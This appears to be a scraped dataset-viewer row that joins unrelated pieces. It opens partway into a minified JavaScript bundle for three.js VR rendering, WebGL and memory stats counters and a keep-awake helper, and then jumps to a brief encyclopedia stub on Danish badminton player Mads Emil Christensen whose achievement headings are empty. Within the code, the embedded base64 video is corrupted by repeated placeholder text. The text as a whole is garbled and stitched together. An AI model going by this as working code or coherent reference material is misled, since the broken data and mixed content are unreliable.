THREE.Matrix4;navigator.getVRDisplays?navigator.getVRDisplays().then(i):navigator.getVRDevices&&navigator.getVRDevices().then(i),this.scale=1,this.standing=!1,this.userHeight=1.6,this.update=function(){if(r){if(r.getPose){var t=r.getPose();null!==t.orientation&&e.quaternion.fromArray(t.orientation),null!==t.position?e.position.fromArray(t.position):e.position.set(0,0,0)}else{var i=r.getState();null!==i.orientation&&e.quaternion.copy(i.orientation),null!==i.position?e.position.copy(i.position):e.position.set(0,0,0)}this.standing&&(r.stageParameters?(e.updateMatrix(),o.fromArray(r.stageParameters.sittingToStandingTransform),e.applyMatrix(o)):e.position.setY(e.position.y+this.userHeight)),e.position.multiplyScalar(n.scale)}},this.resetPose=function(){r&&(void 0!==r.resetPose?r.resetPose():void 0!==r.resetSensor?r.resetSensor():void 0!==r.zeroSensor&&r.zeroSensor())},this.resetSensor=function(){console.warn("THREE.VRControls: .resetSensor() is now .resetPose()."),this.resetPose()},this.zeroSensor=function(){console.warn("THREE.VRControls: .zeroSensor() is now .resetPose()."),this.resetPose()},this.dispose=function(){r=null}}},{}],122:[function(){THREE.VREffect=function(e,t){function i(e){for(var i=0;i<e.length;i++){if("VRDisplay"in window&&e[i]instanceof VRDisplay){a=e[i],h=!1;break}if("HMDVRDevice"in window&&e[i]instanceof HMDVRDevice){a=e[i],h=!0;break}}void 0===a&&t&&t("HMD not available")}function r(e){var t=2/(e.leftTan+e.rightTan),i=(e.leftTan-e.rightTan)*t*.5,r=2/(e.upTan+e.downTan),n=(e.upTan-e.downTan)*r*.5;return{scale:[t,r],offset:[i,n]}}function n(e,t,i,n){t=void 0===t?!0:t,i=void 0===i?.01:i,n=void 0===n?1e4:n;var o=t?-1:1,a=new THREE.Matrix4,s=a.elements,c=r(e);return s[0]=c.scale[0],s[1]=0,s[2]=c.offset[0]*o,s[3]=0,s[4]=0,s[5]=c.scale[1],s[6]=-c.offset[1]*o,s[7]=0,s[8]=0,s[9]=0,s[10]=n/(i-n)*-o,s[11]=n*i/(i-n),s[12]=0,s[13]=0,s[14]=o,s[15]=0,a.transpose(),a}function o(e,t,i,r){var o=Math.PI/180,a={upTan:Math.tan(e.upDegrees*o),downTan:Math.tan(e.downDegrees*o),leftTan:Math.tan(e.leftDegrees*o),rightTan:Math.tan(e.rightDegrees*o)};return n(a,t,i,r)}var a,s,c,u,l,h=!1,d=new THREE.Vector3,p=new THREE.Vector3;navigator.getVRDisplays?navigator.getVRDisplays().then(i):navigator.getVRDevices&&navigator.getVRDevices().then(i),this.scale=1;var f=!1,m=e.getSize(),g=e.getPixelRatio();this.setSize=function(t,i){if(m={width:t,height:i},f){var r=a.getEyeParameters("left");e.setPixelRatio(1),h?e.setSize(2*r.renderRect.width,r.renderRect.height,!1):e.setSize(2*r.renderWidth,r.renderHeight,!1)}else e.setPixelRatio(g),e.setSize(t,i)};var v=e.domElement,y=v.mozRequestFullScreen?"mozfullscreenchange":"webkitfullscreenchange";document.addEventListener(y,function(){if(f=void 0!==a&&(a.isPresenting||h&&void 0!==(document.mozFullScreenElement||document.webkitFullscreenElement))){g=e.getPixelRatio(),m=e.getSize();var t,i,r=a.getEyeParameters("left");h?(t=r.renderRect.width,i=r.renderRect.height):(t=r.renderWidth,i=r.renderHeight),e.setPixelRatio(1),e.setSize(2*t,i,!1)}else e.setPixelRatio(g),e.setSize(m.width,m.height)},!1),window.addEventListener("vrdisplaypresentchange",function(){if(f=a&&a.isPresenting){g=e.getPixelRatio(),m=e.getSize();var t=a.getEyeParameters("left");e.setPixelRatio(1),e.setSize(2*t.renderWidth,t.renderHeight,!1)}else e.setPixelRatio(g),e.setSize(m.width,m.height)},!1),this.setFullScreen=function(e){return new Promise(function(t,i){return void 0===a?void i(new Error("No VR hardware found.")):f===e?void t():void(h?v.mozRequestFullScreen?(v.mozRequestFullScreen({
vrDisplay:a}),t()):v.webkitRequestFullscreen?(v.webkitRequestFullscreen({vrDisplay:a}),t()):(console.error("No compatible requestFullscreen method found."),i(new Error("No compatible requestFullscreen method found."))):t(e?a.requestPresent([{source:v}]):a.exitPresent()))})},this.requestPresent=function(){return this.setFullScreen(!0)},this.exitPresent=function(){return this.setFullScreen(!1)};var M=new THREE.PerspectiveCamera;M.layers.enable(1);var A=new THREE.PerspectiveCamera;A.layers.enable(2),this.render=function(t,i){if(a&&f){var r=t.autoUpdate;r&&(t.updateMatrixWorld(),t.autoUpdate=!1);var n=a.getEyeParameters("left"),m=a.getEyeParameters("right");h?(d.copy(n.eyeTranslation),p.copy(m.eyeTranslation),u=n.recommendedFieldOfView,l=m.recommendedFieldOfView):(d.fromArray(n.offset),p.fromArray(m.offset),u=n.fieldOfView,l=m.fieldOfView),Array.isArray(t)&&(console.warn("THREE.VREffect.render() no longer supports arrays. Use object.layers instead."),t=t[0]);var g=e.getSize();s={x:0,y:0,width:g.width/2,height:g.height},c={x:g.width/2,y:0,width:g.width/2,height:g.height},e.setScissorTest(!0),e.clear(),null===i.parent&&i.updateMatrixWorld(),M.projectionMatrix=o(u,!0,i.near,i.far),A.projectionMatrix=o(l,!0,i.near,i.far),i.matrixWorld.decompose(M.position,M.quaternion,M.scale),i.matrixWorld.decompose(A.position,A.quaternion,A.scale);var v=this.scale;return M.translateOnAxis(d,v),A.translateOnAxis(p,v),e.setViewport(s.x,s.y,s.width,s.height),e.setScissor(s.x,s.y,s.width,s.height),e.render(t,M),e.setViewport(c.x,c.y,c.width,c.height),e.setScissor(c.x,c.y,c.width,c.height),e.render(t,A),e.setScissorTest(!1),r&&(t.autoUpdate=!0),void(h||a.submitFrame())}e.render(t,i)}}},{}],123:[function(e,t){window.glStats=function(){function e(e,t){return function(){t.apply(this,arguments),e.apply(this,arguments)}}function t(){o("allcalls").set(a+s),o("drawElements").set(s),o("drawArrays").set(a),o("bindTexture").set(d),o("useProgram").set(c),o("glfaces").set(u),o("glvertices").set(l),o("glpoints").set(h)}function i(){a=0,s=0,c=0,u=0,l=0,h=0,d=0}function r(){}function n(e){o=e}var o=null,a=0,s=0,c=0,u=0,l=0,h=0,d=0;WebGLRenderingContext.prototype.drawArrays=e(WebGLRenderingContext.prototype.drawArrays,function(){a++,arguments[0]==this.POINTS?h+=arguments[2]:l+=arguments[2]}),WebGLRenderingContext.prototype.drawElements=e(WebGLRenderingContext.prototype.drawElements,function(){s++,u+=arguments[1]/3,l+=arguments[1]}),WebGLRenderingContext.prototype.useProgram=e(WebGLRenderingContext.prototype.useProgram,function(){c++}),WebGLRenderingContext.prototype.bindTexture=e(WebGLRenderingContext.prototype.bindTexture,function(){d++});var p={allcalls:{over:3e3,caption:"Calls (hook)"},drawelements:{caption:"drawElements (hook)"},drawarrays:{caption:"drawArrays (hook)"}},f=[{caption:"WebGL",values:["allcalls","drawelements","drawarrays","useprogram","bindtexture","glfaces","glvertices","glpoints"]}],m=[{base:"allcalls",steps:["drawelements","drawarrays"]}];return{update:t,start:i,end:r,attach:n,values:p,groups:f,fractions:m}},window.threeStats=function(e){function t(){o("renderer.info.memory.geometries").set(e.info.memory.geometries),o("renderer.info.programs").set(e.info.programs.length),o("renderer.info.memory.textures").set(e.info.memory.textures),o("renderer.info.render.calls").set(e.info.render.calls),o("renderer.info.render.faces").set(e.info.render.faces),o("renderer.info.render.points").set(e.info.render.points),o("renderer.info.render.vertices").set(e.info.render.vertices)}function i(){}function r(){}function n(e){o=e}var o=null,a={"renderer.info.memory.geometries":{caption:"Geometries"},"renderer.info.memory.textures":{caption:"Textures"},"renderer.info.programs":{caption:"Programs"},"renderer.info.render.calls":{caption:"Calls"},"renderer.info.render.faces":{caption:"Faces",over:1e3},"renderer.info.render.points":{caption:"Points"},"renderer.info.render.vertices":{caption:"Vertices"}},s=[{caption:"Three.js - Memory",values:["renderer.info.memory.geometries","renderer.info.programs","renderer.info.memory.textures"]},{caption:"Three.js - Render",values:["renderer.info.render.calls","renderer.info.render.faces","renderer.info.render.points","renderer.info.render.vertices"]}],c=[];return{update:t,start:i,end:r,attach:n,values:a,groups:s,fractions:c}},window.BrowserStats=function(){function e(e){var t=100,i=Math.floor(Math.log(e)/h);return Math.round(e*t/Math.pow(1024,i))/t}function t(){a=e(performance.memory.usedJSHeapSize),s=e(performance.memory.totalJSHeapSize),o("memory").set(a),o("total").set(s)}function i(){a=0}function r(){}function n(e){o=e}var o=null,a=0,s=0;window.performance&&!performance.memory&&(performance.memory={usedJSHeapSize:0,totalJSHeapSize:0}),0===performance.memory.totalJSHeapSize&&console.warn("totalJSHeapSize === 0... performance.memory is only available in Chrome .");var c={memory:{caption:"Used Memory",average:!0,avgMs:1e3,over:22},total:{caption:"Total Memory"}},u=[{caption:"Browser",values:["memory","total"]}],l=[{base:"total",steps:["memory"]}],h=Math.log(1024);return{update:t,start:i,end:r,attach:n,values:c,groups:u,fractions:l}},"object"==typeof t&&(t.exports={glStats:window.glStats,threeStats:window.threeStats,BrowserStats:window.BrowserStats})},{}],124:[function(e,t){"use strict";!function(){if("undefined"==typeof window.performance&&(window.performance={}),!window.performance.now){var e=Date.now();performance.timing&&performance.timing.navigationStart&&(e=performance.timing.navigationStart),window.performance.now=function(){return Date.now()-e}}window.performance.mark||(window.performance.mark=function(){}),window.performance.measure||(window.performance.measure=function(){})}(),window.rStats=function(e){function t(e,t){for(var i=Object.keys(e),r=0,n=i.length;n>r;r++)t(i[r])}function i(e){var t=document.createElement("link");t.href=e,t.rel="stylesheet",t.type="text/css",document.getElementsByTagName("head")[0].appendChild(t)}function r(e,t,i){function r(){a.width=v,a.height=g,a.style.width=a.width+"px",a.style.height=a.height+"px",a.className="rs-canvas",e.appendChild(a),s.fillStyle="#444444",s.fillRect(0,0,a.width,a.height)}function n(e,t){u+=.1*(e-u),c*=.99,u>c&&(c=u),s.drawImage(a,1,0,a.width-1,a.height,0,0,a.width-1,a.height),t?s.drawImage(p,a.width-1,a.height-u*a.height/c-g):s.drawImage(h,a.width-1,a.height-u*a.height/c-g)}var o=i||{},a=document.createElement("canvas"),s=a.getContext("2d"),c=0,u=0,l=o.color?o.color:"#666666",h=document.createElement("canvas"),d=h.getContext("2d");h.width=1,h.height=2*g,d.fillStyle="#444444",d.fillRect(0,0,1,2*g),d.fillStyle=l,d.fillRect(0,g,1,g),d.fillStyle="#ffffff",d.globalAlpha=.5,d.fillRect(0,g,1,1),d.globalAlpha=1;var p=document.createElement("canvas"),f=p.getContext("2d");return p.width=1,p.height=2*g,f.fillStyle="#444444",f.fillRect(0,0,1,2*g),f.fillStyle="#b70000",f.fillRect(0,g,1,g),f.globalAlpha=.5,f.fillStyle="#ffffff",f.fillRect(0,g,1,1),f.globalAlpha=1,r(),{draw:n}}function n(e,i){function r(){o.width=v,o.height=g*i,o.style.width=o.width+"px",o.style.height=o.height+"px",o.className="rs-canvas",e.appendChild(o),a.fillStyle="#444444",a.fillRect(0,0,o.width,o.height)}function n(e){a.drawImage(o,1,0,o.width-1,o.height,0,0,o.width-1,o.height);var i=0;t(e,function(t){var r=e[t]*o.height;a.fillStyle=l[t],a.fillRect(o.width-1,i,1,r),i+=r})}var o=document.createElement("canvas"),a=o.getContext("2d");return r(),{draw:n}}function o(e,t){function i(e){if(b&&b.average){v+=e,M++;var t=performance.now();t-y>=(b.avgMs||1e3)&&(g=v/M,v=0,y=t,M=0)}}function n(){h=performance.now(),u.userTimingAPI&&performance.mark(d+"-start"),L=!0}function o(){p=performance.now()-h,u.userTimingAPI&&(performance.mark(d+"-end"),L&&performance.measure(d,d+"-start",d+"-end")),i(p)}function a(){o(),n()}function s(){var e=b&&b.average?g:p;E.nodeValue=Math.round(100*e)/100;var t=b&&(b.below&&p<b.below||b.over&&p>b.over);T.draw(p,t),A.style.color=t?"#b70000":"#ffffff"}function c(){var e=performance.now(),t=e-h;f++,t>1e3&&(p=b&&b.interpolate===!1?f:1e3*f/t,f=0,h=e,i(p))}function l(e){p=e,i(p)}var h,d=e,p=0,f=0,g=0,v=0,y=performance.now(),M=0,A=document.createElement("div"),x=document.createElement("span"),w=document.createElement("div"),E=document.createTextNode(""),b=u?u.values[d.toLowerCase()]:null,T=new r(A,d,b),L=!1;return A.className="rs-counter-base",x.className="rs-counter-id",x.textContent=b&&b.caption?b.caption:d,w.className="rs-counter-value",w.appendChild(E),A.appendChild(x),A.appendChild(w),t?t.div.appendChild(A):m.appendChild(A),h=performance.now(),{set:l,start:n,tick:a,end:o,frame:c,value:function(){return p},draw:s}}function a(e){var i=e.toLowerCase();if(void 0===i&&(i="default"),y[i])return y[i];var r=null;u&&u.groups&&t(u.groups,function(e){var t=u.groups[parseInt(e,10)];r||-1===t.values.indexOf(i.toLowerCase())||(r=t)});var n=new o(i,r);return y[i]=n,n}function s(){if(u.plugins){u.values||(u.values={}),u.groups||(u.groups=[]),u.fractions||(u.fractions=[]);for(var e=0;e<u.plugins.length;e++)u.plugins[e].attach(a),t(u.plugins[e].values,function(t){u.values[t]=u.plugins[e].values[t]}),u.groups=u.groups.concat(u.plugins[e].groups),u.fractions=u.fractions.concat(u.plugins[e].fractions)}else u.plugins={};f=document.createElement("div"),f.className="rs-base",m=document.createElement("div"),m.className="rs-container",m.style.height="auto",f.appendChild(m),document.body.appendChild(f),u&&(u.groups&&t(u.groups,function(e){var t=u.groups[parseInt(e,10)],i=document.createElement("div");i.className="rs-group",t.div=i;var r=document.createElement("h1");r.textContent=t.caption,r.addEventListener("click",function(e){this.classList.toggle("hidden"),e.preventDefault()}.bind(i)),m.appendChild(r),m.appendChild(i)}),u.fractions&&t(u.fractions,function(e){var i=u.fractions[parseInt(e,10)],r=document.createElement("div");r.className="rs-fraction";var o=document.createElement("div");o.className="rs-legend";var a=0;t(u.fractions[e].steps,function(t){var i=document.createElement("p");i.textContent=u.fractions[e].steps[t],i.style.color=l[a],o.appendChild(i),a++}),r.appendChild(o),r.style.height=a*g+"px",i.div=r;var s=new n(r,a);i.graph=s,m.appendChild(r)}))}function c(){t(u.plugins,function(e){u.plugins[e].update()}),t(y,function(e){y[e].draw()}),u&&u.fractions&&t(u.fractions,function(e){var i=u.fractions[parseInt(e,10)],r=[],n=y[i.base.toLowerCase()];n&&(n=n.value(),t(u.fractions[e].steps,function(t){var i=u.fractions[e].steps[parseInt(t,10)].toLowerCase(),o=y[i];o&&r.push(o.value()/n)})),i.graph.draw(r)})}var u=e||{},l=u.colours||["#850700","#c74900","#fcb300","#284280","#4c7c0c"],h="path_to_url",d=(u.CSSPath?u.CSSPath:"")+"rStats.css",p=u.css||[h,d];p.forEach(function(e){i(e)}),u.values||(u.values={});var f,m,g=10,v=200,y={};return s(),function(e){return e?a(e):{element:f,update:c}}},"object"==typeof t&&(t.exports=window.rStats)},{}],125:[function(e,t){var i={};i.base64=function(e,t){return"data:"+e+";base64,"+t},i.isMobile=function(){var e=!1;return function(t){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(t)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(t.substr(0,4)))&&(e=!0)}(navigator.userAgent||navigator.vendor||window.opera),e},i.isIOS=function(){return/(iPad|iPhone|iPod)/g.test(navigator.userAgent)},i.isIFrame=function(){try{return window.self!==window.top}catch(e){return!0}},i.appendQueryParameter=function(e,t,i){var r=e.indexOf("?")<0?"?":"&";return e+=r+t+"="+i},i.getQueryParameter=function(e){e=e.replace(/[\[]/,"\\[").replace(/[\]]/,"\\]");var t=new RegExp("[\\?&]"+e+"=([^&#]*)"),i=t.exec(location.search);return null===i?"":decodeURIComponent(i[1].replace(/\+/g," "))},i.isLandscapeMode=function(){return 90==window.orientation||-90==window.orientation},t.exports=i},{}],126:[function(e,t){function i(){var e=document.createElement("video");e.addEventListener("ended",function(){e.play()}),this.request=function(){e.paused&&(e.src=o.base64("video/webm",your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashbsLpDt/your_sha256_hashyour_sha256_hashAAAAAo+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAA2AAAFotKrqAo5aBA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashsAAANgAABaLSq6gKOWgQu4AKYAQJKcAEqAAANgAABaLSq6gKOWgQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashtKrqAo5aBA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashagAANgAABaLSq6gKOWgQu4AKYAQJKcAEaAAANgAABaLSq6gKOWgQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashtKrqAo5aBA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashNgAANgAABaLSq6gKOWgQu4AKYAQJKcAERgAANgAABaLSq6gKOWgQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashDgAADYAAAWi0quoAcU7trAQAAAAAAABG7j7OBALeK94EB8YIBd/CBAw=="),e.play())},this.release=function(){e.pause(),e.src=""}}function r(){var e=null;this.request=function(){e||(e=setInterval(function(){window.location=window.location,setTimeout(window.stop,0)},3e4))},this.release=function(){e&&(clearInterval(e),e=null)}}function n(){var e=navigator.userAgent||navigator.vendor||window.opera;return e.match(/iPhone/i)||e.match(/iPod/i)?r:i}var o=e("./util.js");t.exports=n()},{"./util.js":125}]},{},[99])(99)});
``` |
Mads Emil Christensen (born 26 May 1997) is a Danish badminton player.
Achievements
BWF International Challenge/Series (2 titles, 3 runners-up)
Men's doubles
Mixed doubles
BWF International Challenge tournament
BWF International Series tournament
BWF Future Series tournament
References
External links
1997 births
Living people
Danish male badminton players |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.